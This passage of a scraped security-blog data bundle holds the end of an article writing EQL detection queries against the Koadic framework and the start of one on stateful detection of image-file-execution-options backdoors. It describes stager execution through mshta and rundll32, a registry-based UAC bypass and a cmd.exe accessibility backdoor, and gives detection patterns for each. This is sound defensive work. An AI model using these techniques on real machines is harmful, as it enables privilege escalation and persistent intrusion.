\"outlook.exe\"]\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"defense-evasionexecution\",children:\"Defense evasion/execution\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Mshta (\"}),(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1170/\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"T1170\"})}),(0,t.jsx)(e.strong,{children:\"), Rundll32 (\"}),(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1085/\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"T1085\"})}),(0,t.jsx)(e.strong,{children:\")\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Tools like Koadic often include some usability features that help facilitate payload building, also known as \",(0,t.jsx)(e.a,{href:\"https://github.com/zerosum0x0/koadic/tree/master/data/stager/js\",rel:\"nofollow\",children:\"stagers\"}),\". These small pieces of code get executed on the victim machine and are used to establish a network connection back to the attacker in order to bring in a staged payload for execution. Stagers represent a significant portion of the early phases of the intrusion process. The following example continues exploring the detection strategy for a variety of Windows utilities used to proxy execution with Koadic stagers.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The EQL query below uses the sequence operator, a function of EQL that matches based on the order of events in a sequence. In this case, we are matching when one of these standard Windows administration utilities initiates a network connection. Where another language might require an analyst to write several rules \\u2014 one for each of these utilities \\u2014 EQL enables us to build an array capable of matching many permutations.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Using the filter operator joins these events in sequence by their process identifier (PID). I like this example because it\\u2019s capable of detecting malware and other offensive tools that aren\\u2019t specific to Koadic. With that said, it might take a little filtering to remove potentially benign events such as network administrative activity, but this kind of behavior is something every organization should be tracking and reviewing on a certain cadence.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/defense_evasion_stager.PNG\",alt:\"Defense evasion and execution - Mshta\",width:\"1440\",height:\"769\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Defense evasion \u0026 execution - stagers\"})}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by unique_pid\n[process where subtype.create and process_name in\n(\"mshta.exe\", \"regsvr32.exe\", \"rundll32.exe\", \"wmic.exe\")]\n[network where process_name in\n(\"mshta.exe\", \"regsvr32.exe\", \"rundll32.exe\", \"wmic.exe\")]\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"One of the more interesting takeaways when reviewing offensive tooling is finding the different artifacts that get left behind unintentionally. All it takes is one \\u201Cloud\\u201D artifact, such as a file or registry modification that sticks out, to quickly find suspicious activity.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In Koadic\\u2019s case, HTTP stagers use Internet Explorer\\u2019s core architecture to make a web request by default, which causes the stager to be created within the Temporary Internet Files directory. This behavior occurs due to the way Internet Explorer caches browser content to quickly load web pages. Monitoring this kind of behavior with certain executables can lead to reliable detections outside Koadic, such as generic \",(0,t.jsx)(e.a,{href:\"https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html\",rel:\"nofollow\",children:\"cradles\"}),\" used to download and execute malicious code.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/cached_stager.jpg\",alt:\"Defense evasion \u0026 execution - cached stager\",width:\"1440\",height:\"807\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Defense evasion \u0026 execution - cached stager\"})}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`file where process_name in\n(\"mshta.exe\",\"regsvr32.exe\", \"rundll32.exe\", \"wmic.exe\")\nand subtype.create and file_path == \"*Content.IE5*\"\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"discovery\",children:\"Discovery\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Account Discovery (\"}),(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1087/\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"T1087\"})}),(0,t.jsx)(e.strong,{children:\"), Remote System Discovery (\"}),(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1018/\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"T1096\"})}),(0,t.jsx)(e.strong,{children:\")\"})]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/macro.png\",alt:\"Discovery - macro\",width:\"1440\",height:\"808\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Discovery - macro\"})}),`\n`,(0,t.jsx)(e.p,{children:\"A feature of EQL is the ability to share or reuse similar logic between queries. By using macro declaration, we can bundle a collection of items together and call the array like a variable. A good example would be grouping Microsoft Office applications into a macro, or, in this case, several different Windows programs that can be used for discovery and enumeration.\"}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query (macro):\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`macro KOADIC_DISCOVERY(name)\nname in (\n\"arp.exe\", \"findstr.exe\", \"hostname.exe\", \"ipconfig.exe\",\n\"nbtstat.exe\", \"net.exe\", \"net1.exe\", \"netsh.exe\",\n\"nltest.exe\", \"ping.exe\", \"systeminfo.exe\", \"tasklist.exe\",\n\"tracert.exe\", \"whoami.exe\"\n)\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The Elastic Endpoint Resolver view below helps provide some context about how Koadic spawns child processes. By using the Koadic module (exec_cmd), and running a natively supported command such as \\u201Cwhoami /groups\\u201D, we can see the Rundll32.exe application was invoked by WmiPrvse.exe and passes instructions down to the command prompt before launching the Whoami.exe application.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/resolver.jpg\",alt:\"Elastic Endpoint Resolver\",width:\"1440\",height:\"1172\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Elastic Endpoint Resolver visualization\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we have a better understanding of the attack chain, let\\u2019s tie our previous macro (KOADIC_DISCOVERY) into a sequence-based detection looking for three process creation events from any one of those enumeration programs within a period of 10 minutes, executed by the same user. This same feature would let you monitor for processes that were previously observed. For example, maybe 15 days later the process makes a network connection to pull down an additional payload. What other language lets you find long-term payloads that sit dormant for weeks or months?\"}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by user_name with maxspan=10m\n[process where subtype.create and KOADIC_DISCOVERY(process_name)]\n[process where subtype.create and KOADIC_DISCOVERY(process_name)]\n[process where subtype.create and KOADIC_DISCOVERY(process_name)]\n| unique user_name\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The query above is fully-functional and can be used as a generic detection for initial discovery and enumeration. But what if we had some reason to tighten the logic around Koadic specifically? Understanding the process genealogy of Koadic at the endpoint level, we can leverage different process relationship tracking functions in EQL such as \",(0,t.jsx)(e.strong,{children:\"child of\"}),\" and \",(0,t.jsx)(e.strong,{children:\"descendant of\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"By using the \",(0,t.jsx)(e.strong,{children:\"child of\"}),\" function and setting the parent process to Rundll32.exe, we are essentially getting the grandchildren of Rundll32.exe. Then if we wanted to take it even further, we can add the \",(0,t.jsx)(e.strong,{children:\"descendant of\"}),\" parent process WmiPrvse.exe. This example demonstrates the flexibility of EQL to provide powerful detection capabilities for real adversary behavior.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/grandchild_descendant.jpg\",alt:\"Process tree visualization - child of and descendant of\",width:\"1440\",height:\"591\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Process tree visualization - child of and descendant of\"})}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by user_name with maxspan=10m\n[process where child of [process where parent_process_name == \"rundll32.exe\"]\nand KOADIC_DISCOVERY(process_name) and\ndescendant of [process where parent_process_name == \"wmiprvse.exe\"]]\n[process where child of [process where parent_process_name == \"rundll32.exe\"]\nand KOADIC_DISCOVERY(process_name) and\ndescendant of [process where parent_process_name == \"wmiprvse.exe\"]]\n| unique user_name\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"privilege-escalation\",children:\"Privilege escalation\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Bypass User Account Account (\"}),(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1088/\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"T1088\"})}),(0,t.jsx)(e.strong,{children:\")\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"While attackers control targeting of victims in many cases, they don\\u2019t always wind up with an elevated user during initial compromise. Even when a spearphishing victim is a local administrator, the attacker will oftentimes need to escalate from a Medium to High integrity process before continuing. Off-the-shelf offensive tools like Koadic can enable that transition with relative ease, including several different UAC Bypass modules out of the box.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For this example, we\\u2019ll examine a well-known UAC Bypass technique published by Matt Nelson (\",(0,t.jsx)(e.a,{href:\"https://twitter.com/enigma0x3?s=20\",rel:\"nofollow\",children:\"@enigma0x3\"}),\") while leveraging the Computer Management launcher \\u2014 CompMgmtLauncher.exe \\u2014 which is interoperable with the Microsoft Management Console (MMC). Details about this technique, which still works on Windows 7 endpoints, can be found \",(0,t.jsx)(e.a,{href:\"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This technique involves modifying the Windows Registry to change the default association of files the MMC interacts with (HKCU\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command) to an application of the attacker\\u2019s choice. By deploying a malicious script object with a compatible extension and altering this registry key value to launch a built-in script interpreter, an adversary is able to circumvent controls.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Right after this registry modification, look for the new process creation event tied to the auto-elevated Microsoft program (CompMgmtLauncher.exe), followed by common Koadic stager descendant processes such as Mshta.exe or Rundll32.exe \\u2014 processes that should be running in a high integrity context. We can combine those events into an ordered sequence and constrain the total run-time for all the steps to complete within 10 seconds.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/privilege_escalation.png\",alt:\"Privilege escalation - UAC bypass\",width:\"1440\",height:\"810\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Privilege escalation - UAC bypass\"})}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence with maxspan=10s\n[registry where length(bytes_written_string) \\\\\u003e 0 and key_type in\n(\"sz\", \"expandSz\") and key_path == \"*\\\\\\\\mscfile\\\\\\\\shell\\\\\\\\open\\\\\\\\command\\\\\\\\\"\nand user_name != \"SYSTEM\"]\n[process where process_path == \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\CompMgmtLauncher.exe\"]\n[process where process_name in (\"mshta.exe\",\"rundll32.exe\") and\nintegrity_level == \"high\"]\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"collectionexfiltration\",children:\"Collection/exfiltration\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Data from Local System (\"}),(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1005/\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"T1005\"})}),(0,t.jsx)(e.strong,{children:\")\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"Koadic\\u2019s method of C2 may be interesting to analysts of several kinds due to the transactional way it exchanges data between implants and server. This behavior is highlighted through some direct examples of specific commands executed below:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/koadic_redirection.PNG\",alt:\"Specific commands\",width:\"1184\",height:\"57\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Command shell redirection into text files\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Koadic redirects STDOUT/STDERR to a temporary text file that stores the output of the operator\\u2019s commands as they were presented to the server. These commands are then read back into the Koadic C2 terminal. One second after this file is initially created, it is automatically deleted.\"}),`\n`,(0,t.jsx)(e.p,{children:\"With the right endpoint visibility, malicious behaviors you might be incapable of otherwise detecting stand out. To demonstrate a detection around this, we will use the event of function to filter only for processes that come from cmd.exe that contain a redirector (\\\\\u003e), then tie the PID of that process to same PID that performed file activity related to the text (.txt) file activity.\"}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`file where file_name == \"*.txt\" and\nevent of [process where process_name == \"cmd.exe\" and command_line == \"*\\\\\u003e*\"]\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/files_created.PNG\",alt:\"Example results\",width:\"1047\",height:\"101\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Example results showing file modification\"})}),`\n`,(0,t.jsx)(e.p,{children:\"If you wanted to get more context, such as what command was passed from Koadic, we can turn the detection into a sequence and add the process event.\"}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence with maxspan=5s by unique_pid\n[process where subtype.create and process_name == \"cmd.exe\" and command_line == \"*\\\\\u003e*\" and\ndescendant of [process where process_name == \"wmiprvse.exe\"]]\n[file where subtype.create and wildcard(file_name, \"*.txt\", \"*.log\")]\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/results2.jpg\",alt:\"Example results\",width:\"1202\",height:\"126\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Example results combining process and file modification\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"To summarize, we analyzed one offensive framework (Koadic) and several of its prominent features, reviewed a flexible query language (EQL) to express detection logic, and stepped through several ways to identify behavior tied to Koadic with example analytics.\"}),`\n`,(0,t.jsx)(e.p,{children:\"I see the availability of offensive frameworks like Koadic as an opportunity for defenders, and a motivation to stay vigilant. Thinking creatively about how to detect these post-exploitation behaviors and assessing how these tools perform against their own detection capabilities will put an organization on a path to greater success in stopping similar threats.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To help enable organizations, we\\u2019ve added all the queries in this post into the \",(0,t.jsx)(e.a,{href:\"https://eqllib.readthedocs.io/en/latest/analytics.html\",rel:\"nofollow\",children:\"EQLLib repository\"}),\". For readers interested in the original presentation from BSidesDFW this year, here is a link to the \",(0,t.jsx)(e.a,{href:\"https://docs.google.com/presentation/d/1Wq76DqLzrF2-qxnhWTSXzmuHjBdXoND2tzMw2zeopfs/edit?usp=sharing\",rel:\"nofollow\",children:\"slides\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/elasticsearch/issues/49581\",rel:\"nofollow\",children:\"EQL support is being added to Elasticsearch.\"})})]})}function x(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(d,n)})):d(n)}var k=x;return b(q);})();\n;return Component;"},"_id":"articles/embracing-offensive-tooling-building-detections-against-koadic-using-eql.mdx","_raw":{"sourceFilePath":"articles/embracing-offensive-tooling-building-detections-against-koadic-using-eql.mdx","sourceFileName":"embracing-offensive-tooling-building-detections-against-koadic-using-eql.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/embracing-offensive-tooling-building-detections-against-koadic-using-eql"},"type":"Article","imageUrl":"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/blog-thumb-network-attack-map.jpg","readingTime":"13 min read","series":"","url":"/embracing-offensive-tooling-building-detections-against-koadic-using-eql","headings":[{"level":3,"title":"Why Koadic?","href":"#why-koadic"},{"level":3,"title":"EQL","href":"#eql"},{"level":3,"title":"Initial access","href":"#initial-access"},{"level":3,"title":"Defense evasion/execution","href":"#defense-evasionexecution"},{"level":3,"title":"Discovery","href":"#discovery"},{"level":3,"title":"Privilege escalation","href":"#privilege-escalation"},{"level":3,"title":"Collection/exfiltration","href":"#collectionexfiltration"},{"level":3,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Practical security engineering: Stateful detection","slug":"practical-security-engineering-stateful-detection","date":"2022-06-01","description":"By formalizing stateful detection in your rules, as well as your engineering process, you increase your detection coverage over future and past matches. In this blog post, learn why stateful detection is an important concept to implement.","image":"blog-thumb-digital-shield.jpg","body":{"raw":"\nDetection engineering at Elastic is both a set of reliable principles — or methodologies — and a collection of effective tools. In this series, we’ll share some of the foundational concepts that we’ve discovered over time to deliver resilient detection logic.\n\nIn this blog post, we will share a concept we call **stateful detection** and explain why it's important for detection.\n\n## Detection states\n\nThe quickest way to get started may not always be the best, and new analysts tend to jump right into the post-exploitation details, mapping available data sources and logic fragments. Few consider that the state of a technique may influence visibility. The following three states illustrate one operations-focused approach:\n\n- **Creation state** : Related to detecting suspicious or critical activity at the time of configuration or preparation (e.g., creation or modification of a new Run key registry value to detect new persistent programs)\n- **Runtime state:** Related to detecting suspicious or critical activity at the moment of execution, which may be the result of an automated process (e.g., after a program was added to the HKLM RunOnce key, it will be executed as a child process of RunOnce.exe at system startup)\n- **Cleanup state:** A special kind of runtime state related to detecting active and passive methods of covering tracks (files, registry deletion, and process termination are examples of needed telemetry; e.g., delete startup entry)\n\nMany organizations tasked with creating detection logic focus on a given event creation state, though the following limitations are often overlooked.\n\n- There will be detection gaps for known tactics, techniques, and procedures (TTPs) at execution. It’s likely you’re dealing with creation-state detection logic built for these TTPs, meaning you’re only finding this behavior after the fact.\n- There will be detection gaps for techniques used by attackers who are diligent at tidying up their presence, as security operations tend to focus on detecting techniques in the earliest stages of an intrusion.\n- The required telemetry, data, and logic for one technique may be different for each state and require enabling new telemetry or changing existing configurations.\n\nThe practical application of this concept is most effective for detecting techniques in tactic categories that focus on predictable outcomes such as persistence, defense evasion (e.g., abnormal memory type and protection for code injection), and command and control (unusual process network traffic).\n\nTo make this concept clearer, let's explore an example of designing detection logic in the [Persistence](https://attack.mitre.org/tactics/TA0003/) tactic category using [T1015 - Accessibility Features](https://attack.mitre.org/techniques/T1015/). Suppose an attacker has already enabled a backdoor to execute using this technique (via Image File Execution Options - Debugger registry value) months or weeks before you’ve implemented a detection for it.\n\n\n\n_Figure 1: Depiction of image file execution options debugger abuse (1)_\n\nImage File Execution Options (IFEO) are used for debugging legitimate applications, and can be abused by an attacker with at least local administrator privileges to execute a malicious program (instead of a legitimate one) via the Debugger setting. As shown in Figure 2, cmd.exe will be executed every time the on-screen keyboard (osk.exe) is invoked, providing the attacker a system shell backdoor.\n\n\n\n_Figure 2: Depiction of image file execution options debugger abuse (2)_\n\n## **Creation state**\n\nAt the time of creation, while configuring the Debugger value, detection primarily consists of monitoring a filtered subset of the registry for new references to accessibility features (e.g., osk.exe for the On-Screen Keyboard) and the registry value name Debugger. This technique is also effective for other accessibility features depicted in Figure 3.\n\n\n\n_Figure 3: Accessibility features processes_\n\n[EQL](https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html) is a language we can use to broadly describe **creation-state** detection events for any technique. Figure 4 depicts an EQL rule demonstrating one example that detects [accessibility features](https://attack.mitre.org/techniques/T1015/) using IFEO.\n\n\n\n_Figure 4: T1015 - IFEO creation state EQL example_\n\n## **Runtime state**\n\nAt the time of creation, that kind of EQL logic will help to detect the technique, but what if the configuration happened _weeks or months ago_? A different kind of EQL expression is better suited for detecting the technique in a runtime state. It begins with a little focused research.\n\nIt can help to adopt a structured approach to researching this state:\n\n1. Understand normal execution flow: Manually execute each accessibility feature, recording normal process lineage, attributes, and execution flow\n\n1. Document consistent parent process, process command line arguments, privilege characteristics, and process ancestry\n1. Identify hijack opportunities\n\n1. As an example, while it may be possible to configure a debugger for osk.exe, is it possible to configure one for utilman.exe, the parent of osk.exe?\n1. Hunt unique anomalies\n\n1. Identify observable characteristics of IFEO Debugger hijacking to differentiate between legitimate and malicious use of this technique (e.g., abnormal child of winlogon.exe could be caused by code injection and unrelated to T1015)\n1. Create a **runtime-state** detection EQL rule, evaluate potential fixes to any **creation-state** detection EQL logic\n\nLet’s dig into each of these steps so that you can better understand how this process can be adapted to work with your own team.\n\n### **Understand normal execution flow**\n\nFor osk.exe, sethc.exe, magnify.exe, and narrator.exe, the expected parent process is utilman.exe. Figure 5 depicts a visualization of the normal process-tree for the on-screen keyboard accessibility feature.\n\n\n\n_Figure 5: Example of normal on-screen keyboard execution_\n\nFor sethc.exe (Sticky Keys), which can be invoked by pressing the SHIFT key five times, expected parent processes are ATBroker.exe, utilman.exe, and winlogon.exe. For Displayswitch.exe, a similarly debuggable accessibility feature that can be invoked by pressing the WIN and P keys, expected parents are svchost.exe (DCOM service not useful in the context of T1015) and winlogon.exe.\n\nUnderstanding **normal** execution will be helpful as you begin to explore less-expected execution. If we jumped right to [MITRE ATT\u0026CK®](https://attack.mitre.org/) before analyzing normal behavior and then tried to write a rule, we wouldn’t have some of the essential context and our logic would be less effective.\n\n### **Identifying hijacking possibilities**\n\nWhile we have our benevolent researcher hats on, let’s consider how we might abuse this kind of normal execution. We can infer at least a few options to start with:\n\n- Attempt to abuse execution of an accessibility application (e.g., osk.exe, magnify.exe, narrator.exe) by configuring a debugger IFEO flag\n- Attempt to abuse execution of an expected non system critical parent process (e.g., utilman.exe, atbroker.exe), which is a bit more of a shot in the dark\n\nThat’s a pretty narrowly scoped set of options for now; directly abusing accessibility applications is straightforward and a good place to start.\n\n### **Hunting unique anomalies**\n\nWe need to configure our own IFEO Debugger value for each of the known accessibility feature applications, which helps highlight noteworthy toolmarks. The table below depicts commandline arguments and process ancestry observed when our benign IFEO Debugger (set to cmd.exe) was triggered. There are some clear patterns in the command_line and parent_process_path values, as shown in Figure 6.\n\n\n\n_Figure 6: T1015 - IFEO Runtime-State Anomalies (1)_\n\nThis pattern can be translated into the following **runtime-state** detection, depicted using EQL in Figure 7.\n\n\n\n_Figure 7: T1015 - IFEO Runtime-State Detection EQL (1)_\n\nNow that we’ve covered the direct abuse, what happens when we try to manipulate one of the expected parent processes? Figure 8 contains a few attempts at abusing the expected parent processes of accessibility features.\n\n\n\n_Figure 8: T1015 - IFEO Runtime State Anomalies (2)_\n\nAs is illustrated in the previous figure, the same anomaly type can be translated to the **runtime-state** detection EQL in Figure 9.\n\n\n\n_Figure 9: T1015 - IFEO runtime-state detection EQL (2)_\n\n**Tip:** Be careful about making exceptions too broad in hunting queries. Favor PE information over process metadata when you can, and join that with signing status for low-hanging fruit.\n\nFigure 10 depicts the graphical timeline of a **runtime-state** alert, which can detect the use of an existing T1015 backdoor.\n\n\n\n_Figure 10: T1015 - IFEO runtime-state alert example_\n\n## **Cleanup state**\n\nDetection logic for this state is often the opposite of the **creation-state** logic. Below is an example for osk.exe IFEO key deletion as logged by [sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon).\n\n\n\n_Figure 11: T1015 - IFEO cleanup-state sysmon event example_\n\nWhat significant lessons should we take away?\n\n- **runtime-state** detection requires different data (e.g., enable telemetry for child processes of utilman.exe and winlogon.exe in your sysmon configuration, use commandline value to differentiate between abnormal child processes and T1015 unique artifacts)\n- **cleanup-state** detection requires different data (e.g., registry deletion, process termination)\n- Adjust **creation-state** EQL rule by adding atbroker.exe and utilman.exe (can be abused as well)\n\n## **Beyond baseline**\n\nFor the same technique, other than monitoring files overwrite ( **creation-state** ) and process masquerading as accessibility features ( **runtime-state** ), we can also hunt and alert ( **runtime-state** ) proactively on any unusual child processes (or suspicious non-Microsoft image loads to detect [potential Image hijack](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)) of the accessibility features processes (osk.exe, narrator.exe, magnify.exe, sethc.exe, and DisplaySwitch.exe) — the majority of which are **childless** processes.\n\n\n\n_Figure 12: T1015 - unusual accessibility feature child process_\n\n## **Conclusion**\n\nWhen assessing existing or designing new detection logic, always ask yourself how a specific technique/procedure manifests itself at the three different states before marking a specific attack procedure as covered. This impacts the type of data sources and the logic details you will need to build state resilient detections\n\nActively scanning for existing matches to creation-state logic is an option (often used during compromise assessment), but this is not applicable to near real-time detection. It’s not always applicable to create detection for specific states (e.g., high performance impact, difficulty to obtain right telemetry). By formalizing the stateful-detection concept in your rules, as well as your use cases engineering process, you increase your detection coverage in time (future and past matches).\n\nWant to give [Elastic Security](https://www.elastic.co/security) a spin? Try it free today, or experience our latest version on [Elasticsearch Service](https://www.elastic.co/elasticsearch/service) on Elastic Cloud.\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var m=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var n in e)r(i,n,{get:e[n],enumerable:!0})},o=(i,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of 